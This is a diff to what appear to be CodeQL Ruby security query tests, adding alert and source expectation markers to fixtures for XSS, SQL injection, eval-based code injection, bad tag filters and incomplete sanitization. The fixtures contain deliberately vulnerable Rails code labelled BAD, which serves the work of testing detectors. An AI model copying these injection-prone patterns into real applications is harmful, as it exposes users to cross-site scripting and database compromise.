    @@ -32,28 +32,28 @@ <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - display_text.html_safe + display_text.html_safe <%# $ Alert[rb/reflected-xss] %> %> <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - @instance_text.html_safe + @instance_text.html_safe <%# $ Alert[rb/reflected-xss] %> %> <%= render partial: 'foo/bars/widget', locals: { display_text: "widget_" + display_text } %> <%# BAD: user_name is a helper method that returns unsanitized user-input %> -<%= user_name.html_safe %> +<%= user_name.html_safe %> <%# $ Alert[rb/reflected-xss] %> <%# BAD: user_name_memo is a helper method that returns unsanitized user-input %> <%# TODO: we miss this because the return value from user_name_memo is not properly linked to this call %> -<%= user_name_memo.html_safe %> +<%= user_name_memo.html_safe %> <%# $ Alert[rb/reflected-xss] %> <%# BAD: unsanitized user-input should not be passed to link_to as the URL %> -<%= link_to "user website", params[:website] %> +<%= link_to "user website", params[:website] %> <%# $ Alert[rb/reflected-xss] %> <%# BAD: unsanitized user-input should not be passed to link_to as the URL %> -<%= link_to params[:website], class: "user-link" do %> +<%= link_to params[:website], class: "user-link" do %> <%# $ Alert[rb/reflected-xss] %> user website <% end %> @@ -70,20 +70,20 @@ %> <%# BAD: simple_format called with sanitize: false %> -<%= simple_format(params[:comment], sanitize: false) %> +<%= simple_format(params[:comment], sanitize: false) %> <%# $ Alert[rb/reflected-xss] %> <%# BAD: javasript_include_tag called with remote input %> -<%= javascript_include_tag params[:url] %> +<%= javascript_include_tag params[:url] %> <%# $ Alert[rb/reflected-xss] %> <%# GOOD: input is sanitized %> <%= sanitize(params[:comment]).html_safe %> <%# BAD: A local rendered raw as a local variable %> -<%== display_text %> +<%== display_text %> <%# $ Alert[rb/reflected-xss] %> <%# BAD: translate preserves taint %> -<%= raw translate("welcome", name: display_text) %> -<%= raw t("welcome", name: display_text) %> +<%= raw translate("welcome", name: display_text) %> <%# $ Alert[rb/reflected-xss] %> +<%= raw t("welcome", name: display_text) %> <%# $ Alert[rb/reflected-xss] %> <%# GOOD: translate sanitizes for html keys %> <%= raw t("welcome1.html", name: display_text) %> diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb index d8afec1c432..16080cb948a 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb @@ -1,17 +1,17 @@ <%# BAD: A local rendered raw as a local variable %> -<%= raw display_text %> +<%= raw display_text %> <%# $ Alert[rb/stored-xss] %> <%# BAD: A local rendered raw via the local_assigns hash %> -<%= raw local_assigns[:display_text] %> +<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/stored-xss] %> <% key = :display_text %> <%# BAD: A local rendered raw via the locals_assigns hash %> -<%= raw local_assigns[key] %> +<%= raw local_assigns[key] %> <%# $ Alert[rb/stored-xss] %>
      <% for key in [:display_text, :safe_text] do %> <%# BAD: A local rendered raw via the locals hash %> -
    • <%= raw local_assigns[key] %>
    • +
    • <%= raw local_assigns[key] %>
    • <%# $ Alert[rb/stored-xss] %> <% end %>
    @@ -29,12 +29,12 @@ <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - display_text.html_safe + display_text.html_safe <%# $ Alert[rb/stored-xss] %> %> <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - @instance_text.html_safe + @instance_text.html_safe <%# $ Alert[rb/stored-xss] %> %> <%= render partial: 'foo/bars/widget', locals: { display_text: "widget_" + display_text } %> @@ -43,7 +43,7 @@ <%= user_name_handle.html_safe %> <%# BAD: Direct to a database value without escaping %> -<%= @user.handle.html_safe %> +<%= @user.handle.html_safe %> <%# $ Alert[rb/stored-xss] %> <%# BAD: Indirect to a database value without escaping %> <%= @user.raw_name.html_safe %> @@ -60,7 +60,7 @@ <%# BAD: Direct to a database value without escaping %> <%= some_user = User.find 1 - some_user.handle.html_safe + some_user.handle.html_safe <%# $ Alert[rb/stored-xss] %> %> <%# BAD: Indirect to a database value without escaping (currently missed due to lack of 'self' handling in ORM tracking) %> @@ -83,7 +83,7 @@ <%# BAD: Kernel.sprintf is a taint-step %> <%= - sprintf("%s", @user.handle).html_safe + sprintf("%s", @user.handle).html_safe <%# $ Alert[rb/stored-xss] %> %> <%# GOOD: The `foo.bar.baz` is not recognized as a source %> diff --git a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb index 3f92d5938b1..1e025ce6ba2 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb @@ -1,27 +1,27 @@ class Foobar - def create_user_description(name) - "

    #{name}

    ".html_safe # NOT OK - the parameter is not escaped + def create_user_description(name) # $ Source[rb/html-constructed-from-input] + "

    #{name}

    ".html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the parameter is not escaped # escape "

    #{ERB::Util.html_escape(name)}

    ".html_safe # OK - the parameter is escaped end - def string_like_literal name + def string_like_literal name # $ Source[rb/html-constructed-from-input] h = <<-HTML -

    #{name}

    +

    #{name}

    # $ Alert[rb/html-constructed-from-input] HTML h.html_safe # NOT OK - the parameter is not escaped end - def sprintf_use name - sprintf("

    %s

    ", name).html_safe # NOT OK - the parameter is not escaped + def sprintf_use name # $ Source[rb/html-constructed-from-input] + sprintf("

    %s

    ", name).html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the parameter is not escaped # escape sprintf("

    %s

    ", ERB::Util.html_escape(name)).html_safe # OK - the parameter is escaped end - def create_user_description2(name) - "

    #{name}

    ".html_safe # NOT OK - the value is not necessarily HTML safe + def create_user_description2(name) # $ Source[rb/html-constructed-from-input] + "

    #{name}

    ".html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the value is not necessarily HTML safe if name.html_safe? "

    #{name}

    ".html_safe # OK - value is marked as being HTML safe diff --git a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb index 3a782e529d5..e811b51e8ae 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb @@ -7,13 +7,13 @@ class User < ApplicationRecord def self.authenticate(name, pass) # BAD: possible untrusted input interpolated into SQL fragment - find(:first, :conditions => "name='#{name}' and pass='#{pass}'") + find(:first, :conditions => "name='#{name}' and pass='#{pass}'") # $ Alert # BAD: interpolation in array argument - find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) + find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) # $ Alert # GOOD: using SQL parameters find(:first, conditions: ["name = ? and pass = ?", name, pass]) # BAD: interpolation with flow - conds = "name=#{name}" + conds = "name=#{name}" # $ Alert find(:first, conditions: conds) end @@ -27,7 +27,7 @@ class Admin < User def self.delete_by(condition = nil) # BAD: `delete_by overrides an ActiveRecord method, but doesn't perform # any validation before passing its arguments on to another ActiveRecord method - destroy_by(condition) + destroy_by(condition) # $ Alert end end @@ -39,64 +39,64 @@ class FooController < ActionController::Base def some_request_handler # BAD: executes `SELECT AVG(#{params[:column]}) FROM "users"` # where `params[:column]` is unsanitized - User.calculate(:average, params[:column]) + User.calculate(:average, params[:column]) # $ Alert # BAD: executes `SELECT MAX(#{params[:column]}) FROM "users"` # where `params[:column]` is unsanitized - User.maximum(params[:column]) + User.maximum(params[:column]) # $ Alert # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized - User.delete_by("id = '#{params[:id]}'") + User.delete_by("id = '#{params[:id]}'") # $ Alert # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized # (in Rails < 4.0) - User.delete_all("id = '#{params[:id]}'") + User.delete_all("id = '#{params[:id]}'") # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized - User.destroy_by(["id = '#{params[:id]}'"]) + User.destroy_by(["id = '#{params[:id]}'"]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized # (in Rails < 4.0) - User.destroy_all(["id = '#{params[:id]}'"]) + User.destroy_all(["id = '#{params[:id]}'"]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE id BETWEEN '#{params[:min_id]}' AND 100000` # where `params[:min_id]` is unsanitized - User.where(<<-SQL, MAX_USER_ID) - id BETWEEN '#{params[:min_id]}' AND ? + User.where(<<-SQL, MAX_USER_ID) # $ Alert + id BETWEEN '#{params[:min_id]}' AND ? # $ Source SQL # BAD: chained method case # executes `SELECT "users".* FROM "users" WHERE (NOT (user_id = 'params[:id]'))` # where `params[:id]` is unsanitized - User.where.not("user.id = '#{params[:id]}'") + User.where.not("user.id = '#{params[:id]}'") # $ Alert - User.authenticate(params[:name], params[:pass]) + User.authenticate(params[:name], params[:pass]) # $ Source # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` LIMIT 1 # where `params[:id]` is unsanitized - User.find_or_initialize_by("id = '#{params[:id]}'") + User.find_or_initialize_by("id = '#{params[:id]}'") # $ Alert user = User.first # BAD: executes `SELECT "users".* FROM "users" WHERE id = 1 LIMIT 1 #{params[:lock]}` # where `params[:lock]` is unsanitized - user.reload(lock: params[:lock]) + user.reload(lock: params[:lock]) # $ Alert # BAD: executes `SELECT #{params[:column]} FROM "users"` # where `params[:column]` is unsanitized - User.select(params[:column]) - User.reselect(params[:column]) + User.select(params[:column]) # $ Alert + User.reselect(params[:column]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (#{params[:condition]})` # where `params[:condition]` is unsanitized - User.rewhere(params[:condition]) + User.rewhere(params[:condition]) # $ Alert # BAD: executes `UPDATE "users" SET #{params[:fields]}` # where `params[:fields]` is unsanitized - User.update_all(params[:fields]) + User.update_all(params[:fields]) # $ Alert # GOOD -- `update_all` sanitizes its bind variable arguments User.find_by(name: params[:user_name]) @@ -104,41 +104,41 @@ class FooController < ActionController::Base # BAD -- `update_all` does not sanitize its query (array arg) User.find_by(name: params[:user_name]) - .update_all(["name = '#{params[:new_user_name]}'"]) + .update_all(["name = '#{params[:new_user_name]}'"]) # $ Alert # BAD -- `update_all` does not sanitize its query (string arg) User.find_by(name: params[:user_name]) - .update_all("name = '#{params[:new_user_name]}'") + .update_all("name = '#{params[:new_user_name]}'") # $ Alert - User.reorder(params[:direction]) + User.reorder(params[:direction]) # $ Alert - User.select('a','b', params[:column]) - User.reselect('a','b', params[:column]) - User.order('a ASC', "b #{params[:direction]}") - User.reorder('a ASC', "b #{params[:direction]}") - User.group('a', params[:column]) - User.pluck('a', params[:column]) - User.joins(:a, params[:column]) + User.select('a','b', params[:column]) # $ Alert + User.reselect('a','b', params[:column]) # $ Alert + User.order('a ASC', "b #{params[:direction]}") # $ Alert + User.reorder('a ASC', "b #{params[:direction]}") # $ Alert + User.group('a', params[:column]) # $ Alert + User.pluck('a', params[:column]) # $ Alert + User.joins(:a, params[:column]) # $ Alert - User.count_by_sql(params[:custom_sql_query]) + User.count_by_sql(params[:custom_sql_query]) # $ Alert # BAD: executes `SELECT users.* FROM #{params[:tab]}` # where `params[:tab]` is unsanitized - User.all.from(params[:tab]) + User.all.from(params[:tab]) # $ Alert # BAD: executes `SELECT "users".* FROM (SELECT "users".* FROM "users") #{params[:sq]} - User.all.from(User.all, params[:sq]) + User.all.from(User.all, params[:sq]) # $ Alert end end class BarController < ApplicationController def some_other_request_handler - ps = params + ps = params # $ Source uid = ps[:id] uidEq = "= '#{uid}'" # BAD: executes `DELETE FROM "users" WHERE (id = #{uid})` # where `uid` is unsantized - User.delete_by("id " + uidEq) + User.delete_by("id " + uidEq) # $ Alert end def safe_paths @@ -171,7 +171,7 @@ end class BazController < BarController def yet_another_handler - Admin.delete_by(params[:admin_condition]) + Admin.delete_by(params[:admin_condition]) # $ Alert Source end end @@ -185,7 +185,7 @@ class AnnotatedController < ActionController::Base def unsafe_action name = params[:user_name] # BAD: user input passed into annotations are vulnerable to SQLi - users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) + users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) # $ Alert end end @@ -198,27 +198,27 @@ class RegressionController < ActionController::Base def index my_params = permitted_params query = "SELECT * FROM users WHERE id = #{my_params[:user_id]}" - result = Regression.find_by_sql(query) + result = Regression.find_by_sql(query) # $ Alert end def permitted_params - params.require(:my_key).permit(:id, :user_id, :my_type) + params.require(:my_key).permit(:id, :user_id, :my_type) # $ Source end def show - ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") - Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") + ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert + Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert end end class User - scope :with_role, ->(role) { where("role = #{role}") } + scope :with_role, ->(role) { where("role = #{role}") } # $ Alert end class UsersController < ActionController::Base def index # BAD: user input passed to scope which uses it without sanitization. - @users = User.with_role(params[:role]) + @users = User.with_role(params[:role]) # $ Source end end diff --git a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb index 1cd6782b241..526970c138e 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb @@ -1,9 +1,9 @@ class PotatoController < ActionController::Base def unsafe_action - name = params[:user_name] + name = params[:user_name] # $ Source # BAD: SQL statement constructed from user input - sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") - sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") + sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") # $ Alert + sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") # $ Alert end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb index 549be489858..c44e078ee84 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb @@ -3,7 +3,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a query # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Establish a connection to a PostgreSQL database conn = PG::Connection.open(:dbname => 'postgresql', :user => 'user', :password => 'pass', :host => 'localhost', :port => '5432') @@ -11,14 +11,14 @@ class FooController < ActionController::Base # .exec() and .async_exec() # BAD: SQL statement constructed from user input qry1 = "SELECT * FROM users WHERE username = '#{name}';" - conn.exec(qry1) - conn.async_exec(qry1) + conn.exec(qry1) # $ Alert + conn.async_exec(qry1) # $ Alert # .exec_params() and .async_exec_params() # BAD: SQL statement constructed from user input qry2 = "SELECT * FROM users WHERE username = '#{name}';" - conn.exec_params(qry2) - conn.async_exec_params(qry2) + conn.exec_params(qry2) # $ Alert + conn.async_exec_params(qry2) # $ Alert # .exec_params() and .async_exec_params() # GOOD: SQL statement constructed from sanitized user input @@ -29,7 +29,7 @@ class FooController < ActionController::Base # .prepare() and .exec_prepared() # BAD: SQL statement constructed from user input qry3 = "SELECT * FROM users WHERE username = '#{name}';" - conn.prepare("query_1", qry3) + conn.prepare("query_1", qry3) # $ Alert conn.exec_prepared('query_1') # .prepare() and .exec_prepared() @@ -41,7 +41,7 @@ class FooController < ActionController::Base # .prepare() and .exec_prepared() # NOT EXECUTED: SQL statement constructed from user input but not executed qry3 = "SELECT * FROM users WHERE username = '#{name}';" - conn.prepare("query_3", qry3) + conn.prepare("query_3", qry3) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref index bcb55c8510f..7fb79e3340d 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-089/SqlInjection.ql +query: queries/security/cwe-089/SqlInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref index ec336901db5..184c870500d 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-094/UnsafeCodeConstruction.ql \ No newline at end of file +query: queries/security/cwe-094/UnsafeCodeConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb index b69048f6328..38a042bf7f4 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb @@ -1,17 +1,17 @@ class Foobar - def foo1(target) - eval("foo = #{target}") # NOT OK + def foo1(target) # $ Source + eval("foo = #{target}") # $ Alert // NOT OK end # sprintf - def foo2(x) - eval(sprintf("foo = %s", x)) # NOT OK + def foo2(x) # $ Source + eval(sprintf("foo = %s", x)) # $ Alert // NOT OK end # String#% - def foo3(x) - eval("foo = %{foo}" % {foo: x}) # NOT OK - end + def foo3(x) # $ Source + eval("foo = %{foo}" % {foo: x}) # $ Alert // NOT OK + end def indirect_eval(x) eval(x) # OK - no construction. @@ -25,42 +25,42 @@ class Foobar eval("def \n #{code} \n end") # OK - parameter is named code end - def joinStuff(my_arr) - eval(my_arr.join("\n")) # NOT OK + def joinStuff(my_arr) # $ Source + eval(my_arr.join("\n")) # $ Alert // NOT OK end - def joinWithElemt(x) + def joinWithElemt(x) # $ Source arr = [x, "foobar"] - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # $ Alert // NOT OK end - def pushArr(x, y) + def pushArr(x, y) # $ Source arr = [] arr.push(x) - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # $ Alert // NOT OK arr2 = [] arr2 << y - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # $ Alert // NOT OK end - def hereDoc(x) + def hereDoc(x) # $ Source foo = <<~HERE - #{x} + #{x} # $ Alert HERE eval(foo) # NOT OK end - def string_concat(x) - foo = "foo = " + x + def string_concat(x) # $ Source + foo = "foo = " + x # $ Alert eval(foo) # NOT OK end - def join_indirect(x, y) + def join_indirect(x, y) # $ Source arr = Array(x) - eval(arr.join(" ")) # NOT OK + eval(arr.join(" ")) # $ Alert // NOT OK arr2 = [Array(["foo = ", y]).join(" ")] - eval(arr2.join("\n")) # NOT OK + eval(arr2.join("\n")) # $ Alert // NOT OK end end diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref index 6780ef6d4c8..d0ba313d71e 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref +++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref @@ -1 +1,2 @@ -queries/security/cwe-116/BadTagFilter.ql \ No newline at end of file +query: queries/security/cwe-116/BadTagFilter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb index dd4a074c784..8dc78ea00bd 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb @@ -1,22 +1,22 @@ filters = [ - /.*?<\/script>/i, # NOT OK - doesn't match newlines or `` - /.*?<\/script>/im, # NOT OK - doesn't match `` + /.*?<\/script>/i, # $ Alert // NOT OK - doesn't match newlines or `` + /.*?<\/script>/im, # $ Alert // NOT OK - doesn't match `` /.*?<\/script[^>]*>/im, # OK //im, # OK - we don't care regexps that only match comments /)|([^\/\s>]+)[\S\s]*?>/, # NOT OK - doesn't match comments with the right capture groups - /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # NOT OK - capture groups + /]*>([\s\S]*?)<\/script>/gi, # $ Alert // NOT OK - too strict matching on the end tag + /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, # $ Alert // NOT OK - doesn't match comments with the right capture groups + /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # $ Alert // NOT OK - capture groups ] -doFilters(filters) \ No newline at end of file +doFilters(filters) diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref index 966c74aaf64..e7f5463e794 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref @@ -1 +1,2 @@ -queries/security/cwe-116/IncompleteSanitization.ql \ No newline at end of file +query: queries/security/cwe-116/IncompleteSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb index f59fdd332ae..09af97e96b8 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb @@ -1,91 +1,91 @@ def bad1(s) - s.sub "'", "" # NOT OK - s.sub! "'", "" # NOT OK + s.sub "'", "" # $ Alert // NOT OK + s.sub! "'", "" # $ Alert // NOT OK end def bad2(s) - s.sub /'/, "" # NOT OK - s.sub! /'/, "" # NOT OK + s.sub /'/, "" # $ Alert // NOT OK + s.sub! /'/, "" # $ Alert // NOT OK end def bad3(s1, s2, s3) - s1.gsub /'/, "\\'" # NOT OK - s1.gsub /'/, '\\\'' # NOT OK - s2.gsub! /'/, "\\'" # NOT OK - s3.gsub! /'/, '\\\'' # NOT OK + s1.gsub /'/, "\\'" # $ Alert // NOT OK + s1.gsub /'/, '\\\'' # $ Alert // NOT OK + s2.gsub! /'/, "\\'" # $ Alert // NOT OK + s3.gsub! /'/, '\\\'' # $ Alert // NOT OK end def bad4(s1, s2, s3) - s1.gsub /'/, "\\\\\\&" # NOT OK - s1.gsub /'/, '\\\\\&' # NOT OK - s2.gsub! /'/, "\\\\\\&" # NOT OK - s3.gsub! /'/, '\\\\\&' # NOT OK + s1.gsub /'/, "\\\\\\&" # $ Alert // NOT OK + s1.gsub /'/, '\\\\\&' # $ Alert // NOT OK + s2.gsub! /'/, "\\\\\\&" # $ Alert // NOT OK + s3.gsub! /'/, '\\\\\&' # $ Alert // NOT OK end def bad5(s) - s.gsub /['"]/, '\\\\\&' # NOT OK - s.gsub! /['"]/, '\\\\\&' # NOT OK + s.gsub /['"]/, '\\\\\&' # $ Alert // NOT OK + s.gsub! /['"]/, '\\\\\&' # $ Alert // NOT OK end def bad6(s) - s.gsub /(['"])/, '\\\\\\1' # NOT OK - s.gsub! /(['"])/, '\\\\\\1' # NOT OK + s.gsub /(['"])/, '\\\\\\1' # $ Alert // NOT OK + s.gsub! /(['"])/, '\\\\\\1' # $ Alert // NOT OK end def bad7(s) - s.gsub /('|")/, '\\\\\1' # NOT OK - s.gsub! /('|")/, '\\\\\1' # NOT OK + s.gsub /('|")/, '\\\\\1' # $ Alert // NOT OK + s.gsub! /('|")/, '\\\\\1' # $ Alert // NOT OK end def bad8(s) - s.sub '|', '' # NOT OK - s.sub! '|', '' # NOT OK + s.sub '|', '' # $ Alert // NOT OK + s.sub! '|', '' # $ Alert // NOT OK end def bad9(s1, s2, s3, s4) - s1.gsub /"/, "\\\"" # NOT OK - s1.gsub /"/, '\\"' # NOT OK - s1.gsub '"', '\\"' # NOT OK - s2.gsub! /"/, "\\\"" # NOT OK - s3.gsub! /"/, '\\"' # NOT OK - s4.gsub! '"', '\\"' # NOT OK + s1.gsub /"/, "\\\"" # $ Alert // NOT OK + s1.gsub /"/, '\\"' # $ Alert // NOT OK + s1.gsub '"', '\\"' # $ Alert // NOT OK + s2.gsub! /"/, "\\\"" # $ Alert // NOT OK + s3.gsub! /"/, '\\"' # $ Alert // NOT OK + s4.gsub! '"', '\\"' # $ Alert // NOT OK end def bad10(s) - s.sub "/", "%2F" # NOT OK - s.sub! "/", "%2F" # NOT OK + s.sub "/", "%2F" # $ Alert // NOT OK + s.sub! "/", "%2F" # $ Alert // NOT OK end def bad11(s) - s.sub "%25", "%" # NOT OK - s.sub! "%25", "%" # NOT OK + s.sub "%25", "%" # $ Alert // NOT OK + s.sub! "%25", "%" # $ Alert // NOT OK end def bad12(s) - s.sub %q['], %q[] # NOT OK - s.sub! %q['], %q[] # NOT OK + s.sub %q['], %q[] # $ Alert // NOT OK + s.sub! %q['], %q[] # $ Alert // NOT OK end def bad13(s) - s.sub "'" + "", "" # NOT OK - s.sub! "'" + "", "" # NOT OK + s.sub "'" + "", "" # $ Alert // NOT OK + s.sub! "'" + "", "" # $ Alert // NOT OK end def bad14(s) - s.sub "'", "" + "" # NOT OK - s.sub! "'", "" + "" # NOT OK + s.sub "'", "" + "" # $ Alert // NOT OK + s.sub! "'", "" + "" # $ Alert // NOT OK end def bad15(s) - s.sub "'" + "", "" + "" # NOT OK - s.sub! "'" + "", "" + "" # NOT OK + s.sub "'" + "", "" + "" # $ Alert // NOT OK + s.sub! "'" + "", "" + "" # $ Alert // NOT OK end def bad16(s) indirect = /'/ - s.sub(indirect, "") # NOT OK - s.sub!(indirect, "") # NOT OK + s.sub(indirect, "") # $ Alert // NOT OK + s.sub!(indirect, "") # $ Alert // NOT OK end def good1a(s) @@ -212,15 +212,15 @@ def good13a(s) s.sub('[', '').sub(']', '') # OK s.sub('(', '').sub(')', '') # OK s.sub('{', '').sub('}', '') # OK - s.sub('<', '').sub('>', '') # NOT OK: too common as a bad HTML sanitizer + s.sub('<', '').sub('>', '') # $ Alert // NOT OK: too common as a bad HTML sanitizer - s.sub('[', '\\[').sub(']', '\\]') # NOT OK - s.sub('{', '\\{').sub('}', '\\}') # NOT OK + s.sub('[', '\\[').sub(']', '\\]') # $ Alert // NOT OK + s.sub('{', '\\{').sub('}', '\\}') # $ Alert // NOT OK s = s.sub('[', '') # OK s = s.sub(']', '') # OK s.sub(/{/, '').sub(/}/, '') # OK - s.sub(']', '').sub('[', '') # probably OK, but still flagged + s.sub(']', '').sub('[', '') # $ Alert // probably OK, but still flagged end def good13b(s1) @@ -245,8 +245,8 @@ def newlines_a(a, b, c) # motivation for whitelist `which emacs`.sub("\n", "") # OK - a.sub("\n", "").sub(b, c) # NOT OK - a.sub(b, c).sub("\n", "") # NOT OK + a.sub("\n", "").sub(b, c) # $ Alert // NOT OK + a.sub(b, c).sub("\n", "") # $ Alert // NOT OK end def newlines_b(a, b, c) @@ -255,18 +255,18 @@ def newlines_b(a, b, c) output.sub!("\n", "") # OK d = a.dup - d.sub!("\n", "") # NOT OK + d.sub!("\n", "") # $ Alert // NOT OK d.sub!(b, c) e = a.dup d.sub!(b, c) - d.sub!("\n", "") # NOT OK + d.sub!("\n", "") # $ Alert // NOT OK end def bad_path_sanitizer(p1, p2) # attempt at path sanitization - p1.sub! "/../", "" # NOT OK - p2.sub "/../", "" # NOT OK + p1.sub! "/../", "" # $ Alert // NOT OK + p2.sub "/../", "" # $ Alert // NOT OK end def each_line_sanitizer(p1) diff --git a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref index 3368edec402..19ed712f458 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-117/LogInjection.ql \ No newline at end of file +query: queries/security/cwe-117/LogInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb index 67e0e1cb1a7..29fafb46f78 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb @@ 